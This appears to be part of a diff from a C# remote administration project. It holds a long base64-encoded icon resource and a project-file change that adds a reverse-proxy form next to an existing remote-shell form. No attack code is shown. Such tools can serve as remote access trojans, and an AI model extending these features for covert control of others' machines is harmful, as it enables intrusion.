QMf///8B////Af///wH///8B////Abe0s1k9Mi7/JRkU/yUZE/8kGBP/JBgT/yQYE/8kGBP/IxgT/yMY + FP8iFxT/IhcU/yMXFP8jGBT/JBgT/yQYE/82LCj/s7Gwb////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wGSioerMR0U/zMeFf81HhX/MR0V/y0bFP8rGhP/KhoT/yoaE/8sGxT/KhoT/ygZ + E/8oGRP/KRoU/y0cFf8qHBX/XFhXY////wH///8B////Abm2tQ14cW7lKBoU/yYZE/8mGBP/JRgT/yQX + E/8jFxL/IhYS/yIXE/8hFxP/IRYT/yEXE/8iFhP/IxcT/yMXE/8jFxL/k4+O0bm3tgX///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bp6CdH2JRSvU9IRX/gmFW/0QkGP80HRX/MBwT/y8c + E/8vHBP/NB8U/y4bE/8tGxP/LRsT/y0bFP8sGxP/KxoU/zoxLuljX14R////Af///wGopKONLB0Y/ygY + E/8oGBP/JxgT/ycYE/8mFxL/JRcS/yQWEv8jFhL/JBYT/yYYFf8iFhL/IRYS/yIWEv8jFhL/TkVC/7e1 + tD////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGgl5N9PyQZ/1Iv + If8/Ihb/Nh4U/zMdE/8xHBP/MhwT/zIdE/8zHRP/MR0T/zEdE/8xHBP/LxwT/y4bE/8sGhP/VVBOk/// + /wGvq6otVEhE+ykYE/8pFxP/KRgT/ykYE/8pGBP/KBcT/ycXE/8nFxP/JBYS/ycXE/8wHhn/JBUS/yQV + Ev8lFhL/JhgU/6Ogn6f///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BqqKfCXpsZ981HBP/NBwT/zIcEv8xHBL/MRwS/zAbEv8xHBL/MhwS/zIbEv8yHBP/MhwT/zIc + E/8wHBL/MBwS/zIjHft4dHIxh398wTEcE/8tGhL/LBkT/y0aE/8wGxX/MRsW/ywZFP8pFxP/KBYS/ygW + Ev8nFhL/JxYS/yYWEv8nFhL/JxYS/3BnZfOtqqkb////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wGmn5xRQS4m/zEbEv8xGxL/MRsS/zEbEv8xGxL/MhsS/zQc + Ev80HBL/NRwT/zQbE/85HhX/MRsS/zIbEv8zHBL/TUVB5z8rI/8zHBP/MhwS/zMcE/81HRX/VDUu/4Bj + XP82HRf/MRwU/ywZE/8qGBL/KRcS/ygWEf8nFhH/LRoU/z8tKP+0sbB3////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AYyAe7s3HBL/NxwR/zcc + Ef83HRH/OB0S/zkdEv85HhL/Oh0T/zseFP87HhT/OB0T/zUcEv80HBL/NRwS/zMbEv8zHBL/NRwS/zQc + Ev81HRP/OB4U/0QkHP9TMin/OR4W/zQcFP8vGRP/OCEY/y0YEv8rFxH/KhcR/ykWEf+QiYfZuLW0B/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wGon5spZUpA+UchE/9HIhL/RyIS/0giEv9HIhP/RiET/0giFf9iOi7/ZT4z/0QhFf89HhL/PB4T/zod + E/82HBL/NhwS/zUcEv81GxL/NRwS/zYcE/84HBT/PR8V/zccE/86HhX/MxoT/zIZEv8xGRL/LxgR/y4X + Ef9NPTn/tbGwSf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AaSSi41iLRf/Yy0V/2QuFf9kLRX/YiwV/18rFf9fKxb/bzso/249 + K/9TJxb/SiMU/1AqHP9NKh3/PR0S/zsdEv84GxL/NhoS/zUZEv81GhL/NhoS/zkcE/83GxL/Sy4i/zkc + E/81GhL/MxkR/zEYEf8xGBL/opyar////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wG4pp8Pm3Ni54JBJP+DQiX/g0Ek/4FA + I/9+PSD/ezsf/3k6IP9zNhz/azEY/2EtFf9XKBT/UCUT/0ojE/9FIRP/QB4S/zscEf86GxL/OBoS/zYa + Ev83GhL/OBsS/zcbEf84GxH/NxsR/zYaEf81GRD/cWJd9bSvrSH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Ab6p + oGGcYEX/nV0//55dP/+eXT//nVw+/5hVOP+SUDP/jUsw/4VEKP98PiH/dDcb/2wyGP9kLhb/XCoV/1El + FP9IIRP/Qh4S/z0cEv87HBL/OhsS/zobEf88HBL/OhwQ/zocEP85GxD/QCUc/7CqqYH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Bvp+Qx7d5Wf+5fFz/uHpb/7d5Wv+ydFX/rW5Q/6RkSP+iZEn/j00w/4lI + K/+FRCj/gT8m/3k5IP9uMRr/YisW/1YlFP9LIRP/RR8S/0IeEv89HBH/PRwR/z4cEf8+HRH/OxsQ/4h8 + d9+wqqgJ////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Acm3rTW+j3T9voNh/7yAX/+5fVz/uHta/7V4 + WP+xdFb/r3BT/6prTf+iYkT/nFo//5tXPv+PSjL/g0Ao/3o4IP9vMBn/YyoW/1gmFP9PIxP/RyAS/0Uf + Ev9GHxH/Qx8R/1I4Lv+spqRR////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BxK6hnbZ5 + V/+qa0r/n2A+/5tbOv+ZWTn/l1c4/5ZVNv+XVTf/nVo+/6dlS/+talL/pWFJ/5lWP/+GQiv/fToj/3Y0 + Hf9tLxj/YyoV/1onFP9VJRP/UyQS/0wiEv+Wi4i5////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Ace1qhe1jHbvpmZF/5ZVNf+NSiz/jEkr/41KLf+VUDX/pmJG/7d1Wv/AfWT/unRe/714 + Yv+2clz/oltF/49GMv+GQCv/fjoj/3Y0HP9vLxj/aSwW/2ApFP9wUUb5oZiVJ////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BuKSacZFTNv+JRij/iEUn/4hEKP+QSzH/pF9G/714 + YP/MiXD/xn9p/8Z9av/QiXX/zYZy/8J7Z/+xaFX/n1RC/5BINP+FPyn/fjoj/3k2Hv9xNB7/koWAif// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AbilnQWif3DVhUIl/4VC + JP+KRSn/nVc+/7p1Xf/OiXD/0Idy/9SMev/bkX//4JeD/92Vgv/Xj3v/z4Zz/8F3Zf+qX03/mU88/49H + M/+JQi3/gmJY5ZOEfw3///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BtaOaRYtSO/+JRCj/mlM6/7hyWf/Ri3P/04pz/86Abv/Zi3n/45aE/+mdi//nnYr/4pmF/9+X + g//Zj3z/zYNx/7drWv+oXEv/k1VG/4h7d1n///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wGdgHW5mVE3/7ZuVf/RinH/04pz/8p8af/RgHD/349+/+ma + iv/voZH/7aGQ/+ibiv/kmIf/5ZmI/+OXhf/YjHv/x3hq/4luacf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGEd3IXeE9A77JpUP/OhWz/1Ypz/8t9 + af/KeWj/1oR0/+eVhv/woZL/86aZ//Kklv/snY3/6pyL/+6hkP/vpJT/7J+Q/+SWhv+abWTxinp3Gf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BcFxVo6he + Rv/GemP/1Ylz/9CBbv/Me2r/0X9v/+GOf//wnpH/9qme//ato//1qJ7/7p+R/+qbjP/woJL/9Kug//Kx + pf/yrZ//7qWW/4p3c6f///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BemtnQZJVRP/EdV//1YZw/9WFcv/SgHD/1YFy/96Ke//vnI3/96uh//i0rf/4t7D/9q+o//Ki + lv/tmo7/8Z6S//Wqov/1taz/9biu//S3rP/LmZH/in17R////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BiHp3B4BcU9fHdGH/3It3/+CPfP/ciHj/3oh6/+ONgP/tmIn/96mf//m3 + sf/5vrr/+b+8//e2sf/0qKD/8p6T//Ogl//1qKL/97Ou//e6s//2vLX/9r61/56FgdmLgX8J////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AYRybnvEeWf/4It6/+qXhv/qlYX/5pCC/+qT + h//wmYz/9qOZ//m0rv/6wr//+sfD//nHw//4u7j/96ym//Wkm//1o53/96ik//myr//5ubX/+Lu4//i/ + uv/quLL/h3x6gf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AZWEgSGteW315I99//Gb + i//zn4//85yO//KZjv/2npT/96Sa//muqP/6vLn/+8jF//vMyf/6yMX/+bu5//iuqv/2pqD/96ah//iq + p//5sK7/+be2//q7uv/5vbv/+cG//7mZl/eMgYEl////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wGcgHq15pB+//Sgkf/2ppv/+Kif//imnv/4pZ3/+Kih//quqv/6t7T/+8LA//vLyv/7zsz/+8jG//q5 + uP/5r6z/96ik//ippv/5sK//+rGx//q2t//6urr/+728//u/v//6xMP/kYGBu////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wGbi4hT1o5+//WhkP/4qp//+a+o//qzrv/6vbj/+ayl//qyrf/6t7T/+8C9//zJ + yP/8z87//M/O//zHxv/7urn/+a+t//iqp//5rKr/+rCw//u1tP/7ubj//Ly8//y8vP/8vr3//MPC/9uv + rv+JgH9Z////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wGdlZMNspiS4/arnP/4q6D/+rGq//u1sP/6sqz/+rGq//m0 + r//7ubX/+8C///zHxf/8zs3//NPR//3Pzv/9xcT//Ly6//qzsP/5sK3/+bGu//qzsf/7ubj//Ly6//y+ + vf/8v73//MHA//3Ew//9yMb/po6N5ZCHhg////8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BkYWDjfPMw//708z/+762//q1 + r//6trH/+rWv//u2sP/6uLT/+7+8//3Hxf/8ysj//NTS//3U0v/+z87//cXD//y9u//6trP/+rOw//q2 + s//7ubX/+7y4//2/vf/9wsH//cPC//3Fw//8yMb//crI//TFw/+IfXyT////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bi4KALcis + pfv81tD//NjT//zZ1f/7yMT/+riy//u7tv/7urb/+767//zGw//9ysj//MvI//3Rz//91dP//dLQ//7J + x//8wb7/+7m2//u2s//8urb//L25//zAvf/9xMH//cfE//3Jxv/9ysj//cvJ//3Myv/9zcv/xaSj/Y2E + gzP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AZ2MicX81tD//NfS//zZ1P/92tf//NrW//zPyv/7v7v//L+8//zEwf/9y8j//MnG//zL + yf/90tD//tbU//7Sz//5yMb//cTA//u7t//7ubX/+7u3//zBvf/9x8P//crH//3Lyf/9zcv//c7M//7N + y//+zsv//tDO//3Rz/+XiIfLkYqKA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AZaOjGPnxb7/+9bP//zY0//929b//drW//za1v/82dX//dfU//3I + xP/8yMP//crH//zIw//8zMn//dXS//7X1f/qysj/rpqZ8/3Iw//8wLz/+724//y+uf/8xsH//MvI//3P + zP/9z8z//NHO//3Szv/908///dLP//3T0P/909D/5cG+/4uEg2v///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AaKamBW+pqHr+9TL//vX0P/82dT//dnU//zZ + 1f/82db//NnV//3c2f/93dn//dPQ//zLxv/8ycT//M/M//3V0f/81dL/1czLtbWurV3furf//MfC//vD + vv/7w73//MrG//3QzP/909D//tPQ//3U0P/91dH//dTR//3U0f/91tL//tbS//3V0v+ynJrvl4+OGf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGpm5ef983B//rU + yv/82NL//NnT//zZ1P/82dX//NnV//3Z1f/93Nj//d/c//3h3v/91c///MrD//3Oyf/91ND/59DO99vU + 0yX///8Bw7e2w/rKxP/8ycL/+8fA//vMxv/80s7//NfU//3Z1f/92dX//drW//3Z1f/92NT//dnV//3Z + 1f/92NT/+NDN/5aMi6f///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wGyp6Q93Lis/frPwv/71cz//NbQ//zX0P/82dT//NjS//zY0//82dT//NvW//ze2v/94d3//d/b//zY + 0//8zsj/9s/K/9jR0If///8B////AcvCwS/dwb37+8rC//vIwP/81tD//NfT//3X0//93Nf//d3Z//3d + 2P/93Nj//NzX//3c1//92tb//dnV//3X0//UtbH/nZWURf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wG8s68FxK2m0/jJuf/70MX/+9PL//vUy//819H//NfR//zX0f/819H/+9fR//za + 1f/83tr//d/b//zc1//829f//d7a/9/PzeHY0M8L////Af///wH///8B08nHj/XJwv/7ysL/+8zF//zQ + yv/81tL//NvW//3d2P/83dj//d3Y//zd2P/93dj//d3Y//3b1//92dT//NTQ/62cmdmjm5oH////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bu62ndfC/rv/6zL3/+9HF//rRxv/81c3//NXO//zW + 0P/71c//+9TN//vUzv/82dP//NvX//3c1//82tT//NnT//HX0//a1NRV////Af///wH///8B////AdnP + zg/fy8jn+svC//rLw//7z8j//NXP//zZ1P/829b//N3Y//zc1//83Nf//NzX//zb1v/93Nf//dvW//3X + 0f/uyML/opqYf////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BwbOuH9q1p/P4xbT/+sy+//rN + v//70cf/+9PK//zVzf/81Mz/+9LL//rQyP/70sv//NfQ//za1P/82dP//NfQ//vWz//d09K9////Af// + /wH///8B////Af///wH///8B2dDOX+7Iwf/7y8H/+87G//vTzP/819H//NnT//za1f/829b//NrV//3a + 1f/82dP//NnT//zZ0//81s///NLL/8iuqfeso6El////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Acm0 + rLH3vqn/+ca2//rJuf/7zsD/+8/D//vSyP/70sj/+9HG//rOwv/6zcH/+tHG//vVzf/82NH/+9bP//vU + zP/m0Mv729TSK////wH///8B////Af///wH///8B////Af///wHYysfD+Mi9//rMwf/70Mf/+9LK//zV + zv/818///NjR//zY0P/82ND//NfP//vWz//71s7/+9TM//vRyv/5zcT/rqGeuf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AcS3sk3qtaH/+L+r//nDsf/6yrr/+sy9//rOwP/7z8L/+87C//rNwP/6y7z/+su8//rN + wf/60sr/+9XM//vUy//0z8f/1s/Oj////wH///8B////Af///wH///8B////Af///wH///8B1szKL+TH + wPv6yr//+8/G//vQx//70cj//NPL//vVzf/81Mz//NTM//zUzP/80sr/+9PK//vRyf/70cj/+83C/9+4 + rv+upqNX////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Ab+yrAvRr6Hf97ih//i8p//5xLL/+se1//rJuf/6y73/+sq7//rK + vP/5yLj/+ca2//nHt//5zL7/+tDE//rSyf/60cf/28rF59XOzA////8B////Af///wH///8B////Af// + /wH///8B////Af///wHTyceR9sq///vNwf/7zsP/+8/F//vRyP/70sn//NLK//vRyf/80cj/+9HH//vQ + xf/7z8T/+8/E//rOwv/5yr3/vqag5bKppg////8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wG8qaCH8rCU//e2nP/5vqn/+cGu//nF + sv/6ybj/+ca1//nFtf/5w7H/+cKy//nCsP/4xLP/+Mm5//nNv//50MP/68m//9PNy1////8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B08nHD9zIw+n6zL7/+s3A//vOwf/7z8X/+8/G//zR + xv/70cX/+9HE//vPxf/7zsH/+s3B//rNwP/6zcH/+cy///DBs/+top+R////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGunpcr16ON+few + kv/4uJ//+b6o//nBrP/6xrT/+cSx//nCr//4wKz/+L+s//jArP/4vqr/+MKv//jHtv/5y7z/+My+/9HF + wcX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wHOxcNf7czD//rM + v//6zL7/+s7A//vOwf/70MP/+9DD//vPw//7zsH/+s2///nLvf/5y73/+cy+//nMvf/5ybr/0K6i+7Cn + pDP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8Br5GDwfaqiP/3sZT/+Lme//i8o//5wq3/+sOu//nAq//4vqn/+Lyn//i9qP/3vaf/972n//jA + rP/4xbP/+cq5/97BuP3Px8Qx////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Ac3BvsP50cX/+s7B//nMvv/6zsD/+tDC//rQwv/60MP/+s7A//nLvf/5yLn/+ce3//nI + uf/5ybr/+cm4//jHtP+yopzLsaqnA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BloR7X+Oce//2rIr/97KU//e2mf/4vaP/+sCq//nAqP/5vqf/+Luj//e6 + of/3u6P/97ui//a7ov/3vaX/+MOu//DCsv/Lw8CX////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wHGvbov2sG5+/rRxP/60cT/+s/B//rPwf/6z8D/+s6///rO + v//5y7z/+ci3//jDsf/4w7H/+Ma0//nItf/5x7T/5Lin/7GopWn///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BkoF5E7OFbun3qIX/966N//ewkP/3tpn/+Lui//m9 + o//5vKT/+Lqg//i4nf/4uJ7/+Lmf//e4nv/3uJ7/97yi//jAqf/RurLrzsbDE////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AbuxrpHzzL3/+tDA//rR + wf/60cH/+s+///nMvP/5y7r/+cq4//nHtP/4w67/+MCs//jCrf/4xLD/+MWx//fEr//JrqPvvLKvGf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AY93apn1spL/+LOT//et + iv/3sI//+Lea//m5nf/4up//+Lid//i2mf/4tZj/+Laa//i2mv/3tpr/9raZ//e5nv/jtKL/y8PAZ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wG6s7APxbu46frQv//5zr3/+dC///nRwf/5zr3/+cu4//nItP/4xbH/+MKs//i/qP/4vqf/+MGq//jC + rf/4w67/876p/7uvqqX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AYl4 + bznMiWf99qR7//engP/3qoX/97GQ//i1lf/4t5j/+Lia//ezlP/3spP/97KU//ezlf/3tJb/97SV//az + lP/1tZn/xravy8rCvwP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AbKrqF/jvq//+cu3//nOvP/51MT/+M68//nNu//4ybT/+MOt//jB + qv/4vqb/97uh//e9o//4vqb/+MCp//nBqv/dtKP/wLi0Rf///wH///8B////Af///wH///8B////Af// + /wH///8B////AX52cgOZcl7P9Jts//Wecv/1onj/9qqE//ewjP/3sY//+LSU//ezkv/2sI3/9rCN//aw + jv/2sY//9rGQ//axj//2spL/0qqX/cvAuzf///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bt6ehw/fFr//5z7v/+cy3//nM + tv/5zLf/+dC9//jFr//4wKj/972k//e6n//3uJv/97qf//i9pP/4v6b/+L+m/8ayqeG4s7EP////Af// + /wH///8B////Af///wH///8B////Af///wGEgoAzkYV/w52NhMOlk4rDr5+Wy7Wmns+8rKPPva2lz7+w + qM/FtKvPx7Srz8Oxp9vItavbyret28u4rtvQvLHb0r6028e+uZP///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Abiv + qy3Jv7rL0MW/z9LGwM/EuLLHu6+pw7irpcOzpZ7DtaWewcOvpr3CrKK9wKmfvcConb3HsKW3x7Gnt8my + p7e+raW3rq2sWf///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj index edf98d48..2802312e 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -50,6 +50,7 @@ lib\Mono.Cecil.dll + @@ -203,6 +204,13 @@ + + + + + + + @@ -263,6 +271,12 @@ FrmRemoteShell.cs + + Form + + + FrmReverseProxy.cs + Form @@ -354,6 +368,9 @@ FrmRemoteShell.cs + + FrmReverseProxy.cs + FrmSettings.cs